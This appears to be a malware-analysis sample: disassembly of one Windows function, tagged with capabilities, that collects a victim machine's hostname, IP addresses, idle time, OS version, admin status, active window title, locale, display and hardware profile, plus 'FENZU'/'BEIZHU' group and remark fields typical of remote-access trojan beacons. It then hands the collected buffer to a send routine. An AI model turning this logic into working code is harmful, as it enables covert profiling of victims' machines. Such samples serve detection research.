Function at 0x100013e0
Capabilities:
Get common file path
Get geographical location
Get graphical window text
Get hostname
Get system information on windows
Get token membership
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2190
call fcn.100121b0
mov eax, dword [0x10029128]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xf16
mov dword [ebp - 0x2140], eax
mov dword [ebp - 0x2144], ecx
call fcn.10010127
add esp, 4
push 0xf16
mov edi, eax
push 0
push edi
mov dword [ebp - 0x2148], edi
call fcn.100119a0
add esp, 0xc
push 0x100
lea edx, [ebp - 0x10c]
push 0
push edx
mov byte [edi], 3
call fcn.100119a0
add esp, 0xc
push 0x100
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.100119a0
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x1000151d
mov eax, dword [esi + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x10c]
push 0x100
push eax
call fcn.10010316
add esp, 0xc
push str._n
lea ecx, [ebp - 0x10c]
push 0x100
push ecx
call fcn.10010316
movsx edx, word [esi + 0xa]
mov eax, dword [esi + 0xc]
add edx, dword [eax]
add esp, 0xc
cmp edx, dword [esi]
jae 0x1000151d
xor ebx, ebx
mov eax, dword [ebx + eax + 4]
mov ecx, dword [eax]
add ebx, 4
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea edx, [ebp - 0x10c]
push 0x100
push edx
call fcn.10010316
add esp, 0xc
push str._n
lea eax, [ebp - 0x10c]
push 0x100
push eax
call fcn.10010316
movsx ecx, word [esi + 0xa]
mov eax, dword [esi + 0xc]
add ecx, dword [ebx + eax]
add esp, 0xc
cmp ecx, dword [esi]
jb 0x100014d1
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x10c]
push edx
push 0
push 0
call ebx
push eax
lea ecx, [edi + 2]
push ecx
push 0xffffffffffffffff
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
mov dword [ebp - 0x2130], ecx
call ebx
lea ecx, [ebp - 0x214]
push ecx
mov dword [ebp - 0x214], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x210]
cmp eax, 0x2bf20
ja 0x1000158a
push 0x100256d8
push 0xa
lea edx, [edi + 0x200]
push edx
jmp 0x10001598
push 0x100256dc
push 0xa
lea eax, [edi + 0x200]
push eax
call fcn.100103e9
add esp, 0xc
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x20c]
push ecx
push 0
push 0
call ebx
push eax
lea esi, [edi + 0x214]
push esi
push 0xffffffffffffffff
lea edx, [ebp - 0x20c]
push edx
push 0
push 0
mov dword [ebp - 0x212c], esi
call ebx
lea ecx, [edi + 0x2dc]
mov dword [ebp - 0x2138], ecx
call fcn.100034c0
xor eax, eax
mov dword [ebp - 0x2190], eax
mov dword [ebp - 0x218c], eax
mov dword [ebp - 0x2188], eax
mov dword [ebp - 0x2184], eax
mov dword [ebp - 0x2180], eax
mov dword [ebp - 0x217c], eax
mov dword [ebp - 0x2178], eax
mov dword [ebp - 0x2174], eax
mov dword [ebp - 0x2170], eax
lea eax, [ebp - 0x2190]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x217c]
push ecx
lea eax, [edi + 0x318]
push str._d_H
push eax
mov dword [ebp - 0x2128], eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ebx, [edi + 0x390]
call fcn.10003010
lea esi, [edi + 0x520]
call fcn.100033c0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x1000167b
push 0x104
lea edx, [edi + 0x598]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp dword [ebp + 0x10], 0
mov ebx, str.AppEvents
jne 0x1000168b
mov ebx, str.Network
lea esi, [edi + 0x796]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 2
push esi
push SysReAllocString
mov edx, str.FENZU
mov ecx, ebx
call fcn.10003120
add esp, 0xc
cmp eax, 1
jge 0x100016c4
push 0x1002d3e4
push 0x32
push esi
call fcn.100103e9
add esp, 0xc
cmp dword [ebp + 0x10], 0
mov ebx, str.AppEvents
jne 0x100016d4
mov ebx, str.Network
lea esi, [edi + 0x7fa]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 2
push esi
push SysReAllocString
mov edx, str.BEIZHU
mov ecx, ebx
call fcn.10003120
add esp, 0xc
cmp eax, 1
jge 0x1000170d
push 0x1002d448
push 0x32
push esi
call fcn.100103e9
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push 0xa
push 0x32
lea eax, [edi + 0x85e]
push eax
push ecx
call fcn.1001052b
xor eax, eax
add esp, 0x10
push 0x10025c78
push str.kernel32.dll
mov dword [ebp - 0x216c], eax
mov dword [ebp - 0x2168], eax
mov dword [ebp - 0x2164], eax
mov dword [ebp - 0x2160], eax
mov dword [ebp - 0x215c], eax
mov dword [ebp - 0x2158], eax
mov dword [ebp - 0x2154], eax
mov dword [ebp - 0x2150], eax
mov dword [ebp - 0x214c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001782
lea edx, [ebp - 0x216c]
push edx
call eax
jmp 0x1000178f
lea eax, [ebp - 0x216c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x216c]
mov ecx, 6
cmp cx, ax
je 0x100017a9
mov edx, 9
cmp dx, ax
jne 0x100017b0
mov eax, 0x1002572c
jmp 0x100017b5
mov eax, 0x10025734
push eax
lea eax, [edi + 0x926]
push str.X86__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [edi + 0x93a]
call fcn.10002dc0
lea ecx, [ebp - 0x213c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea edx, [ebp - 0x214]
push edx
mov dword [ebp - 0x214], 0
mov word [ebp - 0x210], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x2134], eax
test eax, eax
je 0x10001845
mov ecx, dword [ebp - 0x213c]
lea eax, [ebp - 0x2134]
push eax
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov edx, dword [ebp - 0x213c]
push edx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x2134]
lea esi, [edi + 0x99e]
cmp eax, 1
jne 0x10001857
push 0x1002574c
jmp 0x1000185c
push 0x10025750
push 5
push esi
call fcn.100103e9
add esp, 0xc
call fcn.10002970
test eax, eax
je 0x10001880
push 0x1002574c
push 4
lea eax, [edi + 0x9a8]
push eax
jmp 0x1000188e
push 0x10025750
push 4
lea ecx, [edi + 0x9a8]
push ecx
call fcn.100103e9
lea edx, [edi + 0x9b0]
add esp, 0xc
push edx
call fcn.10002570
add esp, 4
call fcn.10002320
mov ebx, 0x1002574c
test eax, eax
jne 0x100018b8
mov ebx, 0x10025750
call fcn.10002170
push eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [edi + 0xbae]
push 0x10025754
push eax
call ebx
add esp, 0x10
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x218]
movzx eax, word [ebp - 0x21a]
movzx ecx, word [ebp - 0x21c]
push edx
movzx edx, word [ebp - 0x21e]
push eax
movzx eax, word [ebp - 0x222]
push ecx
movzx ecx, word [ebp - 0x224]
push edx
mov edx, dword [ebp - 0x2144]
push eax
push ecx
push edx
lea eax, [edi + 0x8c2]
push 0x10025760
push eax
call ebx
add esp, 0x24
push 0x40
lea ecx, [edi + 0xc12]
push ecx
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0x1e00
lea edx, [ebp - 0x2120]
push 0
push edx
call fcn.100119a0
add esp, 0xc
lea eax, [ebp - 0x2124]
push eax
push 0x10001c80
push 0
push 0
mov dword [ebp - 0x2124], 0
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea ecx, [ebp - 0x2124]
add edi, 0xc52
push ecx
call fcn.10001d80
mov edi, dword [ebp - 0x2148]
push 0x32
lea edx, [edi + 0xe50]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x31c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
je 0x100019d4
mov edx, dword [ebp - 0x2130]
mov eax, dword [ebp - 0x2138]
lea ecx, [ebp - 0x318]
push ecx
mov ecx, dword [ebp - 0x212c]
push edx
push eax
push ecx
lea edx, [edi + 0xeb4]
push edx
jmp 0x100019f2
mov eax, dword [ebp - 0x2130]
mov ecx, dword [ebp - 0x2138]
mov edx, dword [ebp - 0x212c]
push 0
push eax
push ecx
push edx
lea eax, [edi + 0xeb4]
push eax
mov ecx, dword [ebp - 0x2128]
mov edx, esi
call fcn.10001a40
mov ecx, dword [ebp - 0x2140]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
add esp, 0x14
push 0xf16
push edi
call eax
push edi
mov esi, eax
call fcn.1000fccd
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000fb9f
mov esp, ebp
pop ebp
ret